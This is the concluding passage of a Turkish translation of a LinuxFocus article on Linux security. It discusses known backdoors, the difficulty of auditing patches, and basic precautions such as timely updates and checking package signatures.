Böyle küçük bir kodun büyük bir uygulamadan filtre edilmesi uzun zaman alır . Arka kapılar sadece teorik olasılıklar olarak düşünülmemelidir. Örneğin Red Hat 6.2 nin Piranha paketi varsayıılan(default) şifreyi kabul eder. Quake 2 adlı oyunda arka kapı bulundurmaktadır . Arka kapı mekanizmaları kendilerin çok karmaşık görünümlerdede saklarlar ve bir çok kullanıcı tarafından farkedilmezler.Örneklerini şifreleme sistemlerinde görebiliriz.Örneğin SE-Linux , NSA tarafından geliştirilen güvenlik yamalarını kullanmaktadır. Fakat hiç bir Linux geliştiricisi kesin olarak yamaları kontrol ettiğini ve bir açık bulunmadığını iddia edemez ve emin olamaz . Çok az kişi bu tip zayıflıkları farkedecek Matematik bilgisine sahiptir .
Sonuç olarak Gnu/Linux dünyasındaki ücretsiz yazılımlar tamamıyla güvenli değildir. Çok da aceleci ve endişeli olmadan gerekli önlemleri almak, yazılımları mümkün olan en kısa sürede güncellemek , sadece gerekli ağ servislerini kullanmak , güvenilen sitelerden uygulama indirmek , indirilen paketlerin PGP yada MD5 yeterliliğinin olmasına dikkat etmek yararlı olacaktır .
Linux sistemleri yakın gelecekte iki ana tehlike beklemektedir . Birincisi üretim uygulamalarının dökümanlardaki makroları yorumlaması ; ikincisi çok platformlu virüsler. Birinci problemde kulanıcı alışkanlıkları düzenlenerek sorun giderilebilsede ikinci problemi çözmek zordur. Umarız çok yakın bir zamanda Linux makinalarda daha güçlü virüs denetçisi programlar oluşturulur.
Yazılımları tehdit eden virüsler , truva atları,... nasıl çalıştıkları , ne yaptıkları , hakkında bir çok kaynak bulunmaktadır . Bu kaynakların bir çoğu DOS/Windows için geçerli gibi gözüksede , bazıları Linux uda yakından ilgilendirmektedir. Bura konu edilen makaleler genel olarak teorik mekanizmaları analiz etmektedir.
|
Görselyöre sayfalarının bakımı, LinuxFocus Editörleri tarafından yapılmaktadır
© Christophe Blaess, FDL LinuxFocus.org |
Çeviri bilgisi:
|
2002-09-23, generated by lfparser version 2.31